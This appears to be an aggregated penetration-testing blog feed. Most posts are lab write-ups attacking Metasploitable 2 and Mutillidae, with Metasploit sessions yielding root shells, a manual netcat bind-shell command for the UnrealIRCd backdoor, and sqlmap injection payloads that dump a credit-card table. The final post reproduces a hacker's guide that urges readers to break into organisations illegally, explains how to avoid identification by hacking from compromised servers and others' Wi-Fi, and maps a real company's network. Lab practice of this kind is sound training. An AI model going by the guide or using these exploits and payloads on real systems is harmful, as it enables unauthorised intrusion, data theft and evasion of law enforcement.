Quantcast
Channel: Pax Pentest » Exploit
Viewing all 51 articles
Browse latest View live

Metaspolitable 2: Port 6000 – X11 Server

$
0
0

It’s worth noting at the outset of this post that I was unsuccessful in exploiting this X11 service, but will document my efforts nonetheless.

The Nmap scan of Metasploitable 2 revealed:

PORT STATE SERVICE VERSION
6000/tcp open X11 (access denied)

The Nessus scan on this port detailed the following:

Port 6000/tcp
10407 – X Server Detection     [-/+]

Synopsis
An X11 server is listening on the remote host

Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

Solution
Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (-nolisten tcp).

So Nessus is reporting the possibility of sniffing traffic. We can scan this service using Metasploit:

msf exploit(postgres_payload) > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options

Module options (auxiliary/scanner/x11/open_x11):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    6000             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(open_x11) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf auxiliary(open_x11) > exploit

[*] 192.168.1.103 Access Denied
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(open_x11) >

Metasploit is reporting “access denied”.

Everything I’ve read online relating to exploiting this service relies on open authentication, which in this instance does not appear to be the case.

The Metasploit: The Penetration Tester’s Guide advises using the xspy sniffing tool to detect keystrokes, as the X system handles the GUI including the mouse and keyborad; however, again, this relies on unauthenticated access to the system and so as expected this technique failed:

# xspy 192.168.1.103
Client is not authorized to connect to Serverxspy: can't open display 192.168.1.103:0
blah....

# xspy -display 192.168.1.103 -delay 100 -up
xspy: can't open display -display:0
blah....

As I’m not sure how to progress this one; I admit defeat at this point.


Metasploitable 2: UnreaIRCD IRC daemon

$
0
0

The Nmap scan of Metasploitable 2 revealed:

PORT STATE SERVICE VERSION
6667/tcp open irc Unreal ircd
6697/tcp open irc Unreal ircd

UnreaIRCD is an Internet Relay Chat service.

This exploit has been made nice and easy for us:

On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months – triggered by sending the letters “AB” following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.

Source

The Nessus scan reported:

Port 6667/tcp

46882 – UnrealIRCd Backdoor Detection [-/+]

Synopsis
The remote IRC server contains a backdoor.

Description
The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host.

See Also
http://seclists.org/fulldisclosure/2010/Jun/277
http://seclists.org/fulldisclosure/2010/Jun/284
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Solution
Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

Risk Factor
Critical

CVSS Base Score
10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)
CVSS Temporal Score
8.3 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References
BID 40820
CVE CVE-2010-2075
XREF OSVDB:65445

Exploitable with
CANVAS (true)Metasploit (true)

Plugin Information:
Publication date: 2010/06/14, Modification date: 2013/02/06
Ports
tcp/6667

The remote IRC server is running as :

uid=0(root) gid=0(root)

As this Nessus scan advises us that this is exploitable via Metasploit, let’s give it a go:

msf > search ircd
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                        Disclosure Date  Rank       Description
   ----                                        ---------------  ----       -----------
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  6667             yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse double handler
[*] Connected to 192.168.1.103:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo kt8lsphf0nxKGdOA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "kt8lsphf0nxKGdOA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.78:4444 -> 192.168.1.103:39851) at 2013-11-20 12:33:44 +0000

whoami
root

Success.

As this exploit is triggered by sending the letters “AB” following by a system command to the server on any listening port, we can achieve root manually using Ncat. In the Terminal we input:

# echo "AB;nc -l -e /bin/sh -p 12345" | ncat 192.168.1.103 6697
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Found your hostname (cached)

Then we open Ncat and connect to the backdoor using another terminal:

# ncat 192.168.1.103 12345
whoami
root

Job done.

Metasploitable 2: Port 8787 Open and Unknown

$
0
0

The Nmap scan of Metasploitable 2 revealed:

PORT      STATE SERVICE     VERSION
8787/tcp  open  unknown

As we can see this Nmap scan did not recognise the service signature running on port 8787 and so I threw a more robust Nmap version detection scan at this:

~# nmap -p 8787 -sV --version-all 192.168.1.103

Starting Nmap 6.25 ( http://nmap.org ) at 2013-11-20 14:03 GMT
Nmap scan report for Unknown-00:0c:29:72:05:d6.home (192.168.1.103)
Host is up (0.081s latency).
PORT     STATE SERVICE VERSION
8787/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port8787-TCP:V=6.25%I=9%D=11/20%Time=528CC14C%P=x86_64-unknown-linux-gn
SF:u%r(GenericLines,3AB,"\0\0\0\x03\x04\x08F\0\0\x03\xa0\x04\x08o:\x16DRb:
SF::DRbConnError\x07:\x07bt\[\x17\"//usr/lib/ruby/1\.8/drb/drb\.rb:573:in\
SF:x20`load'\"7/usr/lib/ruby/1\.8/drb/drb\.rb:612:in\x20`recv_request'\"7/
SF:usr/lib/ruby/1\.8/drb/drb\.rb:911:in\x20`recv_request'\"

The service is still unknown; however, we have some interesting output within the fingerprint which indicates a Ruby program and "DRB" (Distributed Ruby Service) which we can use as a search term within Metasploit:

msf > search drb
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                   Disclosure Date  Rank       Description
   ----                                                   ---------------  ----       -----------
   exploit/linux/misc/drb_remote_codeexec                 2011-03-23       excellent  Distributed Ruby Send instance_eval/syscall Code Execution
   exploit/multi/misc/wireshark_lwres_getaddrbyname       2010-01-27       great      Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
   exploit/multi/misc/wireshark_lwres_getaddrbyname_loop  2010-01-27       great      Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)

The drb_remote_codeexec is the most promising and so we’ll run with that:

msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > show options

Module options (exploit/linux/misc/drb_remote_codeexec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   URI                    yes       The dRuby URI of the target host (druby://host:port)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(drb_remote_codeexec) > set URI "druby://192.168.1.103:8787"
URI => druby://192.168.1.103:8787
msf exploit(drb_remote_codeexec) > exploit

[*] Started reverse double handler
[*] trying to exploit instance_eval
[*] instance eval failed, trying to exploit syscall
[*] payload executed from file .EbA8isJbAjsgcmD8
[*] make sure to remove that file
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo en2vfxLYQpig5Eku;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "en2vfxLYQpig5Eku\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.70:4444 -> 192.168.1.103:47082) at 2013-11-20 16:26:55 +0000

whoami
root

And we have root.

Metasploitable 2: The Roundup

$
0
0

It has been rather enjoyable and satisfying hacking my way through Metasploitable 2. The process has consolidated some rather disparate knowledge in my brain and I’ve learned loads. I thoroughly recommend it for us noobies.

Below are links to all of my posts on hacking Metasploitable 2. Most of my endeavours were successful and a few weren’t, but I document the failures as I still gained from the process and perhaps others might have more success and let me know how they cracked it.

Firstly here is the Nmap port scan link that provided my attack vectors:

Secondly, the Nessus scan proved invaluable.

Here are the links:

Metasploitable 2: Exploiting FTP server vsftpd backdoor

Metasploitable 2 – Open SSH: Bruteforcing and Debian OpenSSL Predictable PRNG

Metasploitable 2: Port 23 Open Telnet

Metasploitable 2: Port 25 Open SMTP Postfix SMTPD

Metasploitable 2: Port 53 ISC BIND 9.4.2 – Domain Name Server Cache Poisoning

Metasploitable 2: Apache killer DOS

Metasploitable 2: RPC (Remote Procedure Call) Server

Metasploitable 2: Samba Server

Metasploitable 2: Remote Access Ports 512, 513 & 514

Metasploitable 2: Java RMI (Remote Method Invocation)

Metasploitable 2: Port 1524 ingreslock Backdoor

Metasploitable 2: Port 2121 – ProFTPD 1.3.1

Metasploitable 2: Port 3306 MySQL

Metasploitable 2: Port 3632 distccd Exploit and Privilege Escalation

Metasploitable 2: Port 5432 – PostgreSQL

Metasploitable 2: Port 5900 – VNC

Metaspolitable 2: Port 6000 – X11 Server

Metasploitable 2: UnreaIRCD IRC daemon

Metasploitable 2: Port 8787 Open and Unknown

Mutillidae II: SQLMAP with WebScarab

$
0
0

Having completed my incursion into Metasploiitable 2 I’m beginning my foray into Mutillidae II.

This is my first time using SQLmap and I thought you could simply aim it at a known vulnerable web page and fire it off; however, that didn’t work.

# sqlmap -u http://192.168.1.96/mutillidae/index.php?page=view-someones-blog.php

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:21:52

[15:21:52] [INFO] resuming back-end DBMS 'mysql' 
[15:21:52] [INFO] testing connection to the target URL
[15:22:02] [INFO] heuristics detected web page charset 'ISO-8859-2'
[15:22:03] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:22:14] [INFO] target URL is stable
[15:22:14] [INFO] testing if GET parameter 'page' is dynamic
[15:22:23] [INFO] confirming that GET parameter 'page' is dynamic
[15:22:33] [INFO] GET parameter 'page' is dynamic
[15:22:42] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable
[15:22:42] [INFO] testing for SQL injection on GET parameter 'page'
[15:22:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:22:51] [WARNING] reflective value(s) found and filtering out
[15:24:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:25:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:25:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:26:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:27:29] [INFO] testing 'MySQL inline queries'
[15:27:38] [INFO] testing 'PostgreSQL inline queries'
[15:27:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:27:57] [INFO] testing 'Oracle inline queries'
[15:28:06] [INFO] testing 'SQLite inline queries'
[15:28:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:28:15] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:29:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:29:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:30:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:31:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:32:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:32:48] [INFO] testing 'Oracle AND time-based blind'
[15:33:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:42:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:50:27] [WARNING] GET parameter 'page' is not injectable
[15:50:27] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')

[*] shutting down at 15:50:27

This surprised me: “all tested parameters appear to be not injectable” as I know this webpage has sql injection vulnerability.

And so I started watching some videos:

I mirrored the process shown in the video with the only main difference being that I used WebScarab rather than BurpSuite to capture the raw request and popped it into a desktop file called mutiilidae_blog.:

# sqlmap -r /root/Desktop/mutiilidae_blog --dbs

sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:29:46

[12:29:47] [INFO] parsing HTTP request from '/root/Desktop/mutiilidae_blog'
[12:29:47] [INFO] testing connection to the target URL
[12:29:58] [INFO] heuristics detected web page charset 'ISO-8859-2'
[12:29:59] [INFO] testing if the target URL is stable. This can take a couple of seconds
[12:30:10] [INFO] target URL is stable
[12:30:10] [INFO] testing if POST parameter 'author' is dynamic
[12:30:20] [INFO] confirming that POST parameter 'author' is dynamic
[12:30:30] [INFO] POST parameter 'author' is dynamic
[12:30:41] [INFO] heuristic (basic) test shows that POST parameter 'author' might be injectable (possible DBMS: 'MySQL')
[12:30:41] [INFO] testing for SQL injection on POST parameter 'author'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[12:31:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:32:03] [WARNING] reflective value(s) found and filtering out
[12:33:05] [INFO] POST parameter 'author' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:33:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:33:15] [INFO] POST parameter 'author' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[12:33:15] [INFO] testing 'MySQL inline queries'
[12:33:16] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:33:26] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:33:36] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:34:06] [INFO] POST parameter 'author' is 'MySQL > 5.0.11 AND time-based blind' injectable
[12:34:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:34:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[12:37:46] [INFO] target URL appears to be UNION injectable with 4 columns
[12:38:16] [INFO] POST parameter 'author' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'author' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 40 HTTP(s) requests:
---
Place: POST
Parameter: author
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: author=admin%' AND 5192=5192 AND '%'='&view-someones-blog-php-submit-button=View Blog Entries

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: author=admin%' AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7175747671,(SELECT (CASE WHEN (2458=2458) THEN 1 ELSE 0 END)),0x71786f6371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries

Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: author=admin%' UNION ALL SELECT NULL,CONCAT(0x7175747671,0x50747966446e65447856,0x71786f6371),NULL,NULL#&view-someones-blog-php-submit-button=View Blog Entries

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: author=admin%' AND SLEEP(5) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
---
[12:38:40] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.4.19
back-end DBMS: MySQL 5.0
[12:38:40] [INFO] fetching database names
available databases [9]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth

[12:38:50] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.96'

[*] shutting down at 12:38:50

And there we have the database names.

So next we uncover the tables within a specific database (nowasp):

# sqlmap -r /root/Desktop/mutiilidae_blog -D nowasp --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:49:26

[12:49:26] [INFO] parsing HTTP request from '/root/Desktop/mutiilidae_blog'
[12:49:27] [INFO] resuming back-end DBMS 'mysql' 
[12:49:27] [INFO] testing connection to the target URL
[12:49:37] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: author
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: author=admin%' AND 5192=5192 AND '%'='&view-someones-blog-php-submit-button=View Blog Entries

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: author=admin%' AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7175747671,(SELECT (CASE WHEN (2458=2458) THEN 1 ELSE 0 END)),0x71786f6371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: author=admin%' UNION ALL SELECT NULL,CONCAT(0x7175747671,0x50747966446e65447856,0x71786f6371),NULL,NULL#&view-someones-blog-php-submit-button=View Blog Entries

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: author=admin%' AND SLEEP(5) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
---
[12:49:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.4.19
back-end DBMS: MySQL 5.0
[12:49:37] [INFO] fetching tables for database: 'nowasp'
Database: nowasp
[12 tables]
+----------------------------+
| accounts                   |
| balloon_tips               |
| blogs_table                |
| captured_data              |
| credit_cards               |
| help_texts                 |
| hitlog                     |
| level_1_help_include_files |
| page_help                  |
| page_hints                 |
| pen_test_tools             |
| youtubevideos              |
+----------------------------+

[12:49:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.96'

[*] shutting down at 12:49:48

Let’s check out the credit card table:

# sqlmap -r /root/Desktop/mutiilidae_blog -D nowasp -T credit_cards --dump

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:52:16

[12:52:16] [INFO] parsing HTTP request from '/root/Desktop/mutiilidae_blog'
[12:52:17] [INFO] resuming back-end DBMS 'mysql' 
[12:52:17] [INFO] testing connection to the target URL
[12:52:27] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: author
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: author=admin%' AND 5192=5192 AND '%'='&view-someones-blog-php-submit-button=View Blog Entries

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: author=admin%' AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7175747671,(SELECT (CASE WHEN (2458=2458) THEN 1 ELSE 0 END)),0x71786f6371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: author=admin%' UNION ALL SELECT NULL,CONCAT(0x7175747671,0x50747966446e65447856,0x71786f6371),NULL,NULL#&view-someones-blog-php-submit-button=View Blog Entries

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: author=admin%' AND SLEEP(5) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
---
[12:52:27] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.4.19
back-end DBMS: MySQL 5.0
[12:52:27] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
[12:52:38] [INFO] fetching entries for table 'credit_cards' in database 'nowasp'
[12:52:48] [INFO] analyzing table dump for possible password hashes
Database: nowasp
Table: credit_cards
[5 entries]
+------+-----+------------------+------------+
| ccid | ccv | ccnumber         | expiration |
+------+-----+------------------+------------+
| 1    | 745 | 4444111122223333 | 2012-03-01 |
| 2    | 722 | 7746536337776330 | 2015-04-01 |
| 3    | 461 | 8242325748474749 | 2016-03-01 |
| 4    | 230 | 7725653200487633 | 2017-06-01 |
| 5    | 627 | 1234567812345678 | 2018-11-01 |
+------+-----+------------------+------------+

[12:52:48] [INFO] table 'nowasp.credit_cards' dumped to CSV file '/usr/share/sqlmap/output/192.168.1.96/dump/nowasp/credit_cards.csv'
[12:52:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.96'

[*] shutting down at 12:52:48

Bingo, five credit cards found and SQLmap has even created a file of the output for us.

Interestingly, I obtained the same credit card information using a different technique whilst attacking Metasploitable 2, which can be viewed here.

@BSidesLondon YouTube Vidoes

$
0
0

Videos are being posted on YouTube of the recent BSidesLondon conference, which are well watching.

I’m halfway through:

Rafal Wojtczuk – Lol Layers on Layers Bypassing Security for Fun and Profit

Over the past many years, there’ve been a plethora of security solutions available for Windows-based endpoints; many users and administrators have difficulty in assessing their strengths and weaknesses. Interestingly, many of these solutions are basically
helpless against kernelmode malicious code. Each kernel patch/0day creates a hole for organizations that goes unnoticed by most.

In this talk, we will take the recent public exploit for EPATHOBJ Windows kernel vulnerability and show that with some tweaks, we can use it to bypass application sandboxes, AV, HIPS, rootkit detectors, EMET and SMEP – even if these solutions are stacked one upon other. We simply keep on tweaking the exploit until we bypass _every security software_ that you would expect on a corporate user machine. This highlights the fact that “defense in depth” based on simultaneous deployment of multiple solutions sharing the same weakness is not satisfactory; we postulate the need for defensive methods that are immune to kernelmode exploits, and discuss the possible implementations.

The issue is far from theoretical – the modern malware (e.g. TDL4) is already using this particular EPATHOBJ exploit to gain privileges. Also, the Windows kernel vulnerabilities are frequent, and this is not going to change anytime soon – we have to live with them and be able to defend against them.

Markets for Cybercrime Tools and Stolen Data Hackers’ Bazaar

$
0
0

Thought I’d share a PDF on research relating to the characteristics of cyber criminal activity and black (and Grey) markets.

This was part of the recommended reading for my Malware course and makes for fascinating reading,

Here’s the Preface:

Markets are good because they facilitate economic efficiency, but when that efficiency facilitates criminal activity, such “black markets” can be deemed harmful. Criminal activities in cyberspace are increasingly facilitated by burgeoning black markets in both the tools (e.g.,
exploit kits) and the take (e.g., credit card information). As with most things, intent is what
can make something criminal or legitimate, and there are cases where goods or services can be used for altruistic or malicious purposes (e.g., bulletproof hosting and zero-day vulnerabilities).

This report describes the fundamental characteristics of these markets and how they have
grown into their current state in order to give insight into how their existence can harm the
information security environment. Understanding the current and predicted landscape for
these markets lays the groundwork for follow-on exploration of options that could minimize
the potentially harmful influence these markets impart. This report assumes the reader has a basic understanding of the cyber, criminal, and economic domains, but includes a glossary to supplement any gaps.

This report should be of interest to cybersecurity, information security, and law enforcement
communities. It was sponsored by Juniper Networks as part of a multiphase study on the
future security environment.

Read all

Breaking Bad cybercrime

$
0
0

Thought I’d highlight an informative and entertaining blog post written by Dave Waterson using the springboard of the TV crime drama series Breaking Bad to draw comparisons between the underground drug world and cybercrime.

Well worth a read:

The ganglands of narcotics and cybercrime have multiple parallels, like a pair of aberrant twins, learning from, and outdoing, each other. TV crime drama series Breaking Bad centres around the manufacture of the drug methamphetamine. It is the highest rated TV series of all time.

Narcotics such as cocaine, heroin, and methamphetamine, have the cyber equivalent in identity theft, bank fraud, IP theft, and ransom. Meth cooks Walter White and Jesse Pinkman have thousands of counterparts coding the latest malware or operating malware kits. When a hotshot hacker discovers a zero day exploit, the opportunity to sell it to the highest bidder for enormous sums, whether white hat or black hat, is enticing. Brilliant coders also have the same pressures as chemists to seek windfall big bucks and secure the future of their families

…..continue reading


Hacking the Hackers: How FinFisher was Breached

$
0
0

I first came across Gamma International on the Enemies of the Internet website:

Gamma International offers advanced spyware, which has repeatedly been discovered in countries who mistreat journalists, like Bahrain and the United Arab Emirates. The Finfisher Technology sold by Gamma International is able to read encrypted files, emails and listen in to voice over IP calls. Among the targeted was Ala’a Shehabi, a journalist, university lecturer and activist from Bahrain, now living in London.

I was under the impression from the above website that the UK based Gamma International owned the breached FinFisher snooping technology and was confused by the references to a German company, and so sought clarification:


Of course, this a fairly recent development and many of the accusations leveled against the FinFisher snooping technology derive from a time whilst still under the control of Gamma.

Anyway, you’re probably aware that an hacker has breached FinFisher and is releasing something in the order of 40GB of information relating to this technology and its uses on Reddit and via Twitter. You can read all about this here.

Right or wrongly, of more interest to me is how FinFisher was hacked, and this has now been disclosed and posted on Pastebin, which I here replicate for the purposes of interest and curiosity:

_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
A DIY Guide for those without the patience to wait for whistleblowers

--[ 1 ]-- Introduction

I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you've learned the basics you'll realize this
really is easier than filing a FOIA request.

--[ 2 ]-- Staying Safe

This is illegal, so you'll need to take same basic precautions:

1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it's better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.

NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you'll want a public IP address to
receive connect back shells. I recommend using servers you've hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you're running will
have a nice fast connection to your target.

--[ 3 ]-- Mapping out the target

Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.

[0] http://ha.ckers.org/fierce/

For an example let's take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com

Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 - 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd

Doing a whois lookup on academi.com reveals it's also registered to the same
address, so we'll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
"850 Puddin Ridge Rd" inurl:ip-address-lookup
"850 Puddin Ridge Rd" inurl:domaintools

Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you've found everything.

Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com

If you repeat the whois lookups and such you'll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.

In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
"FinFisher GmbH". Googling for:
"FinFisher GmbH" inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com

...so now you've got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
